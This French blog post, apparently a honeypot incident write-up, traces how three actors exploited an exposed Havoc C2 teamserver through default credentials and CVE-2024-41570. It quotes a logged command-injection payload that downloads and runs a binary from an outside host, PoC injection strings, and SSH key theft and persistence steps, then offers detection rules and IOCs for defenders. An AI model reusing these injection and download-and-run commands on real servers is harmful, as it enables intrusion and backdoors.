Le même enregistrement dans le terminal, encadré par les erreurs TLS de routine qui saturaient le journal.

Tout y est, dans l’ordre. La tentative rejetée à 12:24:13, la réussite une seconde plus tard, l’identité fabriquée de toutes pièces, les paramètres de veille absurdes, et la ligne qui signe l’exploitation : No Aes Key specified.

14:13:29. Deux heures plus tard, un opérateur que j’appellerai A2 se connecte au port 40056. Son IP source est du même prestataire (M247/Mullvad) que celle déclarée par le faux Demon deux heures plus tôt, ce qui rattache probablement l’enregistrement au même acteur. Il y restera 4 jours et 7 heures, en seulement trois sessions TCP dont une de 32 heures.

Acte II : vingt-quatre secondes (20 janvier)
#

Trois jours plus tard, quelqu’un d’autre passe. Tout est daté à la seconde par recoupement entre la capture réseau, auditd et le journal applicatif :

03:05:53   103[.]127[.]218[.]229 ouvre une connexion TLS sur le port 40056
03:05:54   [GOOD] User <Neo> Authenticated          ← identifiants par défaut
03:05:55   Service Name: $(curl … ; chmod 777 … ; nohup … &)
03:05:57   Premier battement vers microsoft[.]azuredevtools[.]com

Il se passe moins de deux secondes entre l’authentification et l’exécution de code, l’exploitation est donc scriptée ici. Son empreinte JA3 le confirme : 8e1cb226, 91 suites de chiffrement, un profil beaucoup plus large que celui d’un navigateur (une quinzaine à trente en général), cohérent avec un outil utilisant OpenSSL sans personnalisation. Cette empreinte est unique sur les 4,17 millions de paquets analysés.

La charge complète, telle que le teamserver l’a lui-même journalisée :

$(curl -v -k http://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3 -o /tmp/cache2;
  chmod 777 /tmp/cache2;
  nohup /tmp/cache2 > /dev/null 2>&1 &)

On notera que ce n’est pas la forme " -mbla; CMD 1>&2 && false # du PoC : ici, une substitution de commande $(…), sans échappement de guillemet et sans récupération de la sortie. L’acteur ne cherche pas un pseudo-shell interactif, il veut juste déposer sa charge et partir.

Injection dans le champ Service Name journalisée par le teamserver Havoc

La ligne PatchConfig du builder, brute. La charge de l’attaquant y côtoie les paramètres légitimes du payload et deux lignes plus bas, le teamserver journalise sa propre adresse publique.

Le fichier est servi par une instance Transfer.sh auto-hébergée sur Oracle Cloud (Server: Transfer.sh HTTP Server, X-Made-With: <3 by DutchCoders) : un ELF64 statique de 2,6 Mo, packé UPX.

03:06:18, déconnexion. Présence totale de A1 sur l’infrastructure : 24 secondes.

L’implant, lui, s’installe dans la durée : une connexion sortante toutes les 11,7 secondes, soit 154 par demi-heure en moyenne, sans interruption sur les 42 heures couvertes par la capture, soit 12 950 sessions TLS vers microsoft[.]azuredevtools[.]com. Un nouvel exemple de masquerading. L’attaquant continuera d’exploiter des domaines semblables à ceux de Microsoft avec defender[.]en-us[.]vip par la suite.

Cadence des connexions sortantes vers le C2 : un plateau constant à 154 connexions par demi-heure sur 42 heures

Sur 42 heures, la cadence ne bouge pas. Le seul écart notable est le pic du 21 janvier à 11:00, la relance de l’implant par A2, qui n’ajoute que 11 connexions là où une seconde instance en aurait produit une cinquantaine.

Acte III : le sabotage (21 janvier, 11h06 → 11h21)
#

Le lendemain matin, A2 (connecté depuis le 17) passe à l’action. Quinze minutes, une seule session, deux objectifs.

11:06:14 → 11:11:07. Il crée payloads/Demon/src/core/Transports.c (3 487 octets) et payloads/Demon/include/core/Transports.h (83 octets), puis modifie src/Demon.c : un #include ligne 9, un appel DemonEx() ligne 49.

Ce sont les mêmes fichiers et le même schéma que sur mon premier lab. Seule l’URL de téléchargement change : ici, defender[.]en-us[.]vip/static/update.zip. Les sept commentaires // Step N numérotés sont là aussi, ce qui laisse supposer qu’il s’agit très certainement du même attaquant.

Les mtime et ctime de ces trois fichiers sont identiques à la seconde. Or un touch pour antidater ne modifie que le mtime : les deux divergeraient. L’attaquant n’a donc pas tenté de masquer la date de création de ses fichiers, du moins pas par cette méthode.

11:12:43 → 11:21:24. Puis A2 liste /tmp, y trouve le cache2 déposé la veille par A1, et le manipule :

11:14:27   mv /tmp/cache2 /usr/sbin/dbus-udevd          → échec (uid 1000)
11:15:49   sudo mv …                                     → échec
11:16:25   id                                            ← constate ses privilèges
11:17:23   mv /tmp/cache2 /tmp/.font-unix/cache          ← repli
11:21:02   nohup /tmp/.font-unix/vmtoolsd                ← relance
11:21:24   rm -f /tmp/cache2                             ← effacement

C’est ici que le compte non privilégié fait son travail : l’installation en /usr/sbin échoue deux fois, et l’attaquant est contraint au repli vers /tmp. Trois masquages successifs, par discrétion croissante : dbus-udevd (faux démon système), /tmp/.font-unix/ (répertoire X11 légitime détourné), vmtoolsd (faux VMware Tools).

Ce qu’il cherchait à en faire reste opaque : le binaire, dont la configuration C2 est codée en dur, continuait de baliser vers l’infrastructure de A1 quoi qu’il arrive. Le seul fait certain, c’est que A2 ignorait qu’il tournait déjà. La preuve est directe : le processus 131318 rapportait exe=/tmp/cache2 ; douze secondes après le mv, le même PID rapporte un chemin différent. A2 a renommé le binaire sous les pieds du processus en cours d’exécution, qui a survécu et continué à beaconer. La cadence n’a jamais varié : 154 connexions par demi-heure, avant comme après. Un nohup supplémentaire l’aurait doublée.

L’implant mourra le soir même, à 22:09, avec le redémarrage de la machine. Le processus lancé par A1 aura tourné 43 heures ; la copie relancée par A2 sous le nom vmtoolsd, seulement 10 h 48. Le sabotage du builder, lui, survivra.

Acte IV : le retour méthodique (27 janvier)
#

Six jours plus tard, 5pider, présent en pointillé depuis le 22 janvier, sans avoir rien fait de plus qu’interroger le faux Demon, passe à l’action.

10:36:30   [GOOD] User <5pider> Authenticated
10:36:32   Service Name: \" -mbla; id 1>&2 && false #
10:36:34   … whoami …
10:36:36   … ip a …
10:37:15   … curl ipinfo.io …
10:37:26   … lscpu …

Cette fois, c’est bien la forme du PoC public. Et ça fonctionne parfaitement : la sortie du lscpu figure telle quelle dans le journal du teamserver (Core(s) per socket: 4), ramenée par le mécanisme de renvoi de stderr décrit plus haut. 96 injections seront lancées en une demi-heure.

Puis, en dix-neuf minutes, A3 fait ce qu’aucun des deux autres n’avait fait, à savoir préparer un accès de repli :

10:39:50   cat ~/.ssh/id_rsa           → échec, le fichier n'existe pas
10:40:46   cat ~/.ssh/known_hosts      → cartographie des rebonds
10:54:48   dépôt d'une clé publique
10:58:41   installation dans ~/.ssh/authorized_keys
10:59:12   première connexion SSH, 31 secondes plus tard

Une clé ssh-rsa 3072 bits, commentaire kali@kali, empreinte SHA256:R9C3ApIi4HciQ8t1Ba1zV5HQPdOixdyEI1YA2v8gq0g. Huit connexions SSH sur 24 jours, depuis quatre adresses, jusqu’au 19 février.

C’est la seule persistance qui aura survécu au redémarrage du 21 janvier.

Épilogue : les parasites s’inspectent entre eux
#

Le faux Demon 32d94782, enregistré le 17 janvier par l’exploitation de la SSRF, apparaît dans le panneau Havoc comme n’importe quel autre agent. A3 est tombé dessus :

[22/01 15:49:16] [User: 5pider] Demon => pwd     ← aucune réponse
[31/01 15:36:30] [User: 5pider] Demon => pwd     ← aucune réponse

Deux fois, à neuf jours d’intervalle, il a essayé de faire parler un leurre déposé par son prédécesseur, sans supposer de quoi il s’agissait.

Trois acteurs, un tableau
#

Pour la clarté du récit, je nomme A1 l’auteur de l’exploit du 20 janvier, A2 celui du sabotage du 21, et A3 celui de la phase active du 27. La question de savoir si ces trois désignations recouvrent trois personnes distinctes est discutée plus bas.

A1A2A3
Présence20/01, 24 secondes17→21/01, 4 j 07 h22/01→19/02, 29 jours
CanalTLS 40056TLS 40056SSH par clé
CompteNeoNeo5pider
Outillagescript (JA3 unique)client Havoc officielinjections + SSH
Forme d’injection$(…) substitution-mbla option
Jitter15 (défaut, inchangé)0 (modifié)
Fait marquantdépose l’implant, repartsabote le builderbackdoor SSH

Frise des trois acteurs sur le teamserver : A2 présent du 17 au 21 janvier, A1 24 secondes le 20 janvier, A3 du 22 janvier au 19 février

Trois éléments rendent probable que A1 et A2 soient des acteurs distincts :

  1. Antériorité : A2 est présent 2 jours et 13 heures avant A1.
  2. Coprésence : à 03:05:54 le 20/01, la session TCP de A2 depuis 146.70.202.106 est active depuis presque trois jours et échange 917 paquets dans l’heure entourant l’authentification de A1. Deux connexions IP distinctes vers le port 40056, deux authentifications sous le compte Neo, au même instant.
  3. Empreintes TLS incompatibles : celle de A1 (script) est unique sur l’ensemble du volume capturé, celle de A2 est stable et cohérente avec le client Havoc officiel.

Aucun de ces éléments n’est décisif. Un même acteur pourrait avoir laissé un client GUI ouvert et lancé un exploit automatisé depuis une autre IP, pour cloisonner ou pour réutiliser un outil déjà écrit. Le comportement de A1, 24 secondes puis départ sans reconnaissance ni post-exploitation, évoque plutôt un bot de scan opportuniste qu’un opérateur revenant à la main, mais ce n’est qu’un profil. Il n’est donc pas impossible que A1 et A2 soient le même attaquant.

Pour A3 en revanche, rien ne permet ni d’affirmer ni de réfuter qu’il est distinct de A2.

Un dernier indice, plus faible cette fois : aucune des connexions 5pider n’a été précédée du Failed upgrading request qu’on observe parfois pour Neo. Ce préflight avorté trahit un client qui teste la connectivité HTTP avant de basculer en WebSocket, un comportement qu’aucun script minimaliste ne prend la peine d’imiter. Ce n’est pas une preuve, mais c’est un motif de plus.

La chaîne d’approvisionnement, chiffrée
#

Du 22 janvier au 17 février, toutes les compilations observées incluent src/core/Transports.c. Chaque Demon généré pendant cette fenêtre embarquait donc le loader.

La bascule se lit dans les lignes de commande passées à MinGW, que le teamserver journalise intégralement. Entre la compilation du 18 janvier à 09:35:05 et celle du 22 janvier à 09:43:34, une seule différence :

  src/core/Thread.c
  src/core/Token.c
  src/core/Transport.c
  src/core/TransportHttp.c
  src/core/TransportSmb.c
+ src/core/Transports.c
  src/core/Win32.c
  src/crypt/AesCrypt.c

Une ligne sur trente, glissée à sa place alphabétique au milieu de la famille Transport*. Sur une commande qui aligne trente sources et une vingtaine d’options, rien n’accroche l’œil.

L’effet de levier est là : compromettre un serveur pour atteindre toutes les futures victimes de l’opérateur, sans jamais les cibler. À noter également, deux infrastructures C2 distinctes cohabitent : microsoft[.]azuredevtools[.]com pour l’implant Linux du teamserver, defender[.]en-us[.]vip pour les agents Windows livrés en aval. La seconde n’apparaît jamais dans les captures réseau : elle ne s’active que chez les victimes.

Deux infrastructures C2 derrière le teamserver compromis : microsoft.azuredevtools.com visible dans le PCAP, defender.en-us.vip invisible

Seul l’implant Linux du teamserver balise dans la capture. Les agents Windows codés en dur vers defender[.]en-us[.]vip ne s’activent que chez leurs futures victimes, jamais sur le honeypot.

Ce que les sondes n’ont pas vu
#

C’est le constat le plus embêtant de toute l’analyse. Le sabotage du builder, l’acte à l’impact le plus durable de l’affaire, n’a été détecté par aucune des sondes déployées. Et pour deux raisons indépendantes :

SondeCause
SnoopyPar nature. Il journalise les execve, pas les write(). Écrire un fichier depuis un processus déjà lancé ne crée aucun processus
auditd, règle havoc_file_changesPar erreur. La règle existait dans /etc/audit/rules.d/ depuis le 16/01, mais n’a été effectivement chargée que le 21/01, soit plusieurs heures après la fin de la compromission

La CVE-2024-41570 est triviale à détecter côté serveur
#

C’est, je crois, l’apport le plus utile de cette investigation. La littérature documente bien la détection côté réseau (empreinte 0xDEADBEEF du protocole, silhouette des paquets) et par le certificat TLS auto-signé. La détection par les journaux du teamserver lui-même, en revanche, ne semble pas avoir été formalisée.

Or l’enregistrement frauduleux du 17 janvier portait, en clair, dans un journal applicatif légitime, deux anomalies qu’aucun agent réel ne peut produire :

No Aes Key specified          ← une clé absente est anormale par construction
SleepJitter: 299              ← un jitter est un pourcentage, donc ≤ 100

Une simple règle de corrélation sur ces deux champs aurait détecté l’exploitation le jour même, sans outil supplémentaire. À quoi s’ajoutent l’identité entièrement aléatoire et un SleepDelay de 20,8 heures.

Plus généralement, voici ce que je mettrais en place sur un teamserver, par ordre de rendement :

PrioritéRègleSource
1Enregistrement d’agent sans clé de chiffrement, ou avec jitter > 100Journal applicatif du C2
2Modification de ~/.ssh/authorized_keysFIM / auditd
3Modification d’un fichier sous le répertoire de buildFIM avec hash de référence
4Connexions sortantes à cadence fixe (écart-type < 2 s) vers une destination uniqueFlux réseau
5nohup d’un binaire situé dans /tmp avec tty=noneauditd / Snoopy
6Processus nommé vmtoolsd, dbus-udevd hors de son chemin attenduauditd

Limites de l’analyse
#

Par honnêteté méthodologique, deux réserves :

  1. Couverture réseau partielle. Les captures ne couvrent que le 17 au 21 janvier, soit environ 9 % de la période d’exposition. Tout ce qui suit repose sur les seuls journaux.
  2. Perte d’événements. La file de l’agent Wazuh a saturé pendant l’exploitation initiale (20/01, quatre épisodes entre 03:06:38 et 03:09:56). Des commandes de A1 ont pu disparaître dans cet intervalle d’environ 3 min 20.

IOC du honeypot
#

Ces indicateurs ont plus d’un an. Je ne les publie donc pas pour alimenter une liste d’IOC à surveiller. Les adresses relèvent de VPN commerciaux, de Tor ou de Cloudflare, et ont certainement changé de main depuis longtemps.

Deux réserves avant d’entrer dans le détail. L’adresse 146[.]70[.]116[.]227 provient du champ ExternIP du faux Demon, c’est-à-dire d’une valeur que l’agent déclare lui-même : falsifiable par construction. Le hash des charges déposées sur le teamserver a été perdu, c’est pourquoi elles ne figurent pas dans cette partie.

Ce qui garde une certaine valeur
#

La clé SSH, d’abord. La clé publique se réutilise d’une campagne à l’autre bien plus volontiers qu’une adresse IP : si celle-ci réapparaît dans un authorized_keys, c’est le même acteur.

Clé SSH   : ssh-rsa 3072 bits, commentaire kali@kali
Empreinte : SHA256:R9C3ApIi4HciQ8t1Ba1zV5HQPdOixdyEI1YA2v8gq0g
Installée : 2025-01-27 10:58:41 UTC dans ~/.ssh/authorized_keys

Le JA3 sortant de l’implant, 2ee8bc39bdba32330d82af4aa8eb0a4a. Il tient tant que le binaire n’est pas recompilé, et surtout il détecte l’implant sans dépendre du domaine C2, qui peut changer du jour au lendemain.

Les hashs du code de sabotage, enfin. Ils identifient le code lui-même, pas l’infrastructure : si le même acteur le réemploie ailleurs, ils correspondront.

CheminSHA256Taille
payloads/Demon/src/core/Transports.c8b8aeebfbcf2211c522b06c69ec3955309bdc744b0b5083864f07d9e2f8ac1153 487
payloads/Demon/include/core/Transports.h3fe7fc9d2c48d1cf09940340e7585668834483f6ebf3dfc7a65d5d5ab05fbbe583
payloads/Demon/src/Demon.c (modifié)c798ff9093fce70d46a010c1c875566d2b928957e9dcb9f3948f3281685da56740 387
payloads/Demon/id_rsa (clé publique déposée)cd38e29b41a68528144dbe80ada118223c33dd69a73659f36e5360e57040b8ef563

Pour rétro-hunt : l’infrastructure de janvier - février 2025
#

Ces valeurs n’ont plus d’usage en surveillance. Elles servent à qui conserve des journaux DNS, du netflow ou des logs proxy de cette période.

TypeValeurContexte
Domainemicrosoft[.]azuredevtools[.]comC2 de l’implant Linux sur le teamserver (12 950 sessions TLS) Lien VT
Domainedefender[.]en-us[.]vipC2 des agents Windows livrés en aval, codé en dur dans Transports.c Lien VT
URLhttps://defender[.]en-us[.]vip/static/update.zipCharge Windows
URLhttp://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3Charge Linux - instance Transfer.sh auto-hébergée sur Oracle Cloud
IP103[.]127[.]218[.]229A1, 20/01
IP146[.]70[.]202[.]106A2, 17→21/01
IP95[.]153[.]31[.]119, 196[.]240[.]54[.]115, 196[.]240[.]54[.]121, 196[.]240[.]54[.]122A3, 22/01→19/02 (connexions SSH à partir du 27/01)
JA3Attribution
8e1cb226cc0cc53d6ef633206530004aA1 - 91 suites, cohérent avec un outil utilisant OpenSSL sans personnalisation
c12b4ccd5320bbb380ca1a9df90f771dA2 - stable sur les trois sessions
Chemin d’implantStatut
/tmp/cache2Charge initiale, effacée le 21/01
/tmp/.font-unix/cache/tmp/.font-unix/vmtoolsdRelocalisation puis nom final, détruit au redémarrage
/usr/sbin/dbus-udevdInstallation tentée et échouée

Ce qui a été écarté
#

Trois précisions, pour éviter de mélanger les indicateurs :

  • Le domaine torproject[.]cloud de la première partie de cet article est absent de l’intégralité du disque et des captures du honeypot. Les deux cas ne partagent ni domaine, ni charge utile, ni empreinte.
  • Le COMMAND_SOCKET de la SSRF n’a laissé aucune trace. Seul l’enregistrement du faux Demon est prouvé.
  • La tentative de vol de clé SSH privée par A3 a échoué : le fichier n’existait pas.

Six semaines d’exposition, trois présences indépendantes. A1 n’est qu’un point de 24 secondes le 20 janvier. A2 occupe le serveur quatre jours et le sabote le 21. A3 revient huit fois par SSH sur 24 jours.

Conclusion
#

Ce qu’il faut retenir
#

Cette mésaventure met en lumière une ironie fréquente : les outils conçus pour compromettre des systèmes peuvent eux-mêmes devenir des cibles vulnérables. Lorsqu’un serveur central sert à générer des implants déployés chez des tiers, une seule compromission suffit à transformer l’ensemble de l’infrastructure offensive en relais de distribution pour un attaquant opportuniste.

Dans ce cas précis, la chaîne d’attaque était directe :

  • Un teamserver exposé publiquement sans redirecteur.
  • Des identifiants par défaut conservés sans modification.
  • Une vulnérabilité d’injection de commande documentée avec un PoC public.

Le résultat ne s’est pas fait attendre : chaque binaire compilé par le serveur embarquait silencieusement un Donut Loader exécutant un agent Apollo pour le compte d’un tiers. Une véritable démonstration de parasitisme d’infrastructure.

L’expérience du honeypot a d’ailleurs révélé que cette cohabitation forcée n’a rien d’exceptionnel. Laissée en ligne durant six semaines, l’infrastructure a vu défiler trois acteurs distincts qui s’ignoraient totalement. Le second a manipulé la charge déposée par le premier sans savoir qu’elle tournait déjà, la renommant en cours d’exécution. Le troisième a tenté d’interroger un leurre abandonné par le second, sans jamais obtenir de réponse.

L’impact le plus critique reste l’empoisonnement direct du générateur d’agents, qui corrompait systématiquement chaque futur payload produit par la machine.

Recommandations
#

  • Changer les identifiants par défaut. Cela peut sembler évident, mais c’est précisément ce qui rend la RCE authentifiée triviale, et le chaînage SSRF → RCE entièrement automatisable. La configuration par défaut de Havoc crée deux comptes avec le mot de passe password1234, et rien dans la documentation n’invite explicitement à les modifier.
  • Ne pas complètement exposer un serveur sur Internet. Placer un redirecteur ou un VPN devant le panel d’administration réduit considérablement la surface d’attaque, tout comme n’exposer que les ports nécessaire au fonctionnement du projet.
  • Vérifier régulièrement l’intégrité du code source. Une fois le déploiement initial effectué, un simple hash des fichiers critiques ou un git diff périodique permet de repérer toute altération du code de génération des agents. builder.go et le répertoire des templates de compilation sont les cibles à surveiller en priorité. Un contrôle automatisé, via un cron couplé à une alerte, constitue un filet de sécurité minimal.
  • Surveiller le teamserver comme n’importe quel autre serveur. Journalisation système renforcée (audit des processus, des commandes exécutées), supervision réseau, alerting : rien de spécifique à l’outil, mais tout aussi indispensable.
  • Suivre les vulnérabilités publiées sur les outils utilisés. Les CVE touchant les frameworks C2 restent rares dans la littérature, mais elles existent bel et bien.

Plus largement
#

Havoc n’est pas un cas isolé. L’article d’Include Security documente des vulnérabilités similaires, RCE authentifiées ou non, dans Sliver, Covenant, Ninja et SHAD0W. Les teamservers sont des pièces critiques : ils compilent du code, gèrent des connexions issues de réseaux hostiles et prennent en charge l’authentification, le tout dans des projets souvent maintenus sur le temps libre de leurs développeurs.

Ce genre de parasitisme ne relève d’ailleurs pas seulement de l’opportunisme. Le groupe Turla, attribué au FSB, en a fait une pratique documentée : exploitation des backdoors d’APT34/OilRig dès 2019, réenregistrement de domaines Andromeda expirés pour cibler l’Ukraine en 2022-2023, infiltration de l’infrastructure C2 du groupe pakistanais Storm-0156 entre 2022 et 2024 afin d’accéder à des réseaux gouvernementaux afghans et indiens. Microsoft a même qualifié cette approche de “composante intentionnelle” de leurs tactiques. Le parallèle avec ce qu’on a observé sur notre teamserver, à une échelle évidemment bien différente, est frappant.

Si cette lecture vous donne envie de monter votre propre lab pour étudier le comportement des frameworks C2, foncez : c’est un exercice super intéressant ! A condition de le mener dans un environnement contrôlé ! Et surtout, pensez à changer les mots de passe par défaut ;)

Crédit photo d’illustration: Moi :3

Merci Flaticon pour ces ainsi que ces icones, crées par Magnific - Flaticon !

Articles connexes